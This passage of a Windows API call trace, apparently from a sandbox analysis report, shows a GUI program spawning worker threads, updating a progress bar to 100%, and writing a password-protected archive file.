lpString=0xf00f8d9a40, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0062.984] SendMessageW (hWnd=0x102e0, Msg=0x402, wParam=0x2, lParam=0x0) returned 0x2 [0062.984] EndPaint (hWnd=0x102be, lpPaint=0xf00f8db7b0) returned 1 [0062.985] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0062.985] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0062.985] GetFocus () returned 0x102e2 [0062.985] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0062.985] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x9e0) returned 0x354 [0062.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xb84) returned 0x358 [0062.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xd6c) returned 0x35c [0062.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xeb0) returned 0x360 [0062.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xe40) returned 0x364 [0062.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xfbc) returned 0x368 [0062.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xe90) returned 0x36c [0062.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xbec) returned 0x370 [0062.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xfb8) returned 0x374 [0062.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xf84) returned 0x378 [0062.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xd5c) returned 0x37c [0062.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xca0) returned 0x380 [0062.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xd1c) returned 0x384 [0062.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xfb4) returned 0x388 [0062.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xd7c) returned 0x38c [0062.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xecc) returned 0x390 [0062.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xe98) returned 0x394 [0062.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xee0) returned 0x398 [0062.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x324) returned 0x39c [0062.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0xfb0) returned 0x3a0 [0062.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x1004) returned 0x3a4 [0062.994] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x1008) returned 0x3a8 [0062.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x100c) returned 0x3ac [0062.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x1010) returned 0x3b0 [0062.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x1014) returned 0x3b4 [0062.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x1018) returned 0x3b8 [0062.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x101c) returned 0x3bc [0062.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x1020) returned 0x3c0 [0062.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x1024) returned 0x3c4 [0062.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x1028) returned 0x3c8 [0062.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x102c) returned 0x3cc [0062.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b085007e0, dwCreationFlags=0x0, lpThreadId=0xf00f8dd5d0 | out: lpThreadId=0xf00f8dd5d0*=0x1030) returned 0x3d0 [0063.000] ResetEvent (hEvent=0x344) returned 1 [0063.000] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.000] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0063.106] ResetEvent (hEvent=0x344) returned 1 [0063.106] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.106] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0063.118] GetTickCount () returned 0x25b26 [0063.118] GetLastError () returned 0x0 [0063.118] SetLastError (dwErrCode=0x0) [0063.118] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0063.118] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0063.118] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0063.118] SetWindowTextW (hWnd=0x102c8, lpString=" 100%") returned 1 [0063.118] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0063.118] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15444704119) returned 1 [0063.118] GetTickCount () returned 0x25b26 [0063.118] GetTickCount () returned 0x25b26 [0063.118] GetTickCount () returned 0x25b26 [0063.119] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0063.123] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0063.123] GetFocus () returned 0x102e2 [0063.123] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 1 [0063.123] PeekMessageW (in: lpMsg=0xf00f8dd580, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd580) returned 1 [0063.123] GetMessageW (in: lpMsg=0xf00f8dd510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd510) returned 1 [0063.123] GetFocus () returned 0x102e2 [0063.123] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd510) returned 0 [0063.123] GetKeyState (nVirtKey=16) returned 0 [0063.123] TranslateAcceleratorW (hWnd=0x102be, hAccTable=0x1033b, lpMsg=0xf00f8dd510) returned 0 [0063.123] TranslateMessage (lpMsg=0xf00f8dd510) returned 0 [0063.123] DispatchMessageW (lpMsg=0xf00f8dd510) returned 0x1 [0063.123] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1034) returned 0x3d4 [0063.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1038) returned 0x3d8 [0063.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x103c) returned 0x3dc [0063.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1040) returned 0x3e0 [0063.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1044) returned 0x3e4 [0063.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1048) returned 0x3e8 [0063.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x104c) returned 0x3ec [0063.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1050) returned 0x3f0 [0063.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1054) returned 0x3f4 [0063.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1058) returned 0x3f8 [0063.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x105c) returned 0x3fc [0063.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1060) returned 0x404 [0063.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1064) returned 0x408 [0063.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1068) returned 0x40c [0063.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x106c) returned 0x410 [0063.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1070) returned 0x414 [0063.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1074) returned 0x418 [0063.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1078) returned 0x41c [0063.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x107c) returned 0x420 [0063.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1080) returned 0x424 [0063.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1084) returned 0x428 [0063.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1088) returned 0x42c [0063.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x108c) returned 0x430 [0063.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1090) returned 0x434 [0063.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1094) returned 0x438 [0063.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x1098) returned 0x43c [0063.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x109c) returned 0x440 [0063.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x10a0) returned 0x444 [0063.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x10a4) returned 0x448 [0063.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x10a8) returned 0x44c [0063.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x10ac) returned 0x450 [0063.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x28b08500480, dwCreationFlags=0x0, lpThreadId=0xf00f8dd3f0 | out: lpThreadId=0xf00f8dd3f0*=0x10b0) returned 0x454 [0063.143] ResetEvent (hEvent=0x33c) returned 1 [0063.143] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.143] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0063.394] ResetEvent (hEvent=0x33c) returned 1 [0063.394] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0063.394] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0063.399] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0063.399] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0063.399] GetFocus () returned 0x102e2 [0063.399] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0063.400] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.400] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd390*=0) returned 0x19 [0063.400] SetFilePointer (in: hFile=0x32c, lDistanceToMove=93, lpDistanceToMoveHigh=0xf00f8dd360*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd360*=0) returned 0x76 [0063.400] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xc38) returned 0x28b0bbff0c0 [0063.400] CryptUnprotectMemory (in: pDataIn=0xf00f8dd210, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xf00f8dd210) returned 1 [0063.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xf00f8dd190, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.422] CryptProtectMemory (in: pDataIn=0x28b084fe8a6, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x28b084fe8a6) returned 1 [0063.423] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a23fe00*, nNumberOfBytesToWrite=0xbf20, lpNumberOfBytesWritten=0xf00f8dd390, lpOverlapped=0x0 | out: lpBuffer=0x28b0a23fe00*, lpNumberOfBytesWritten=0xf00f8dd390*=0xbf20, lpOverlapped=0x0) returned 1 [0063.425] PeekMessageW (in: lpMsg=0xf00f8dd300, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd300) returned 1 [0063.425] GetMessageW (in: lpMsg=0xf00f8dd290, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd290) returned 1 [0063.425] GetFocus () returned 0x102e2 [0063.425] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd290) returned 1 [0063.425] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.426] SetFilePointer (in: hFile=0x32c, lDistanceToMove=25, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0x19 [0063.426] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9a30*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9a30*=0) returned 0x19 [0063.426] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa20 [0063.426] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6f0 [0063.426] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f6f0, Size=0x48) returned 0x28b084f9570 [0063.426] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x30) returned 0x28b084d6d10 [0063.426] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f6c0 [0063.426] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22f6c0, Size=0x48) returned 0x28b084f9de0 [0063.426] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084d6d10 | out: hHeap=0x28b08430000) returned 1 [0063.426] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9570 | out: hHeap=0x28b08430000) returned 1 [0063.426] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22f9c0 [0063.426] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fa50 [0063.426] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22fa50 | out: hHeap=0x28b08430000) returned 1 [0063.426] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0a22f9c0 | out: hHeap=0x28b08430000) returned 1 [0063.426] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b0a22fa20, Size=0x48) returned 0x28b084f9570 [0063.426] RtlReAllocateHeap (Heap=0x28b08430000, Flags=0x0, Ptr=0x28b084f9570, Size=0x7a) returned 0x28b084ed400 [0063.426] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ed403*, nNumberOfBytesToWrite=0x5d, lpNumberOfBytesWritten=0xf00f8d8070, lpOverlapped=0x0 | out: lpBuffer=0x28b084ed403*, lpNumberOfBytesWritten=0xf00f8d8070*=0x5d, lpOverlapped=0x0) returned 1 [0063.426] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b0a22fba0 [0063.426] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5d) returned 0x28b08463830 [0063.426] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084f9de0 | out: hHeap=0x28b08430000) returned 1 [0063.426] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ed400 | out: hHeap=0x28b08430000) returned 1 [0063.426] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8dd350*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8dd350*=0) returned 0xbf96 [0063.426] CloseHandle (hObject=0x350) returned 1 [0063.427] PeekMessageW (in: lpMsg=0xf00f8dd5b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5b0) returned 1 [0063.427] GetMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0063.427] GetFocus () returned 0x102e2 [0063.427] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd540) returned 1 [0063.427] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.427] PeekMessageW (in: lpMsg=0xf00f8dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd650) returned 0 [0063.427] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.427] 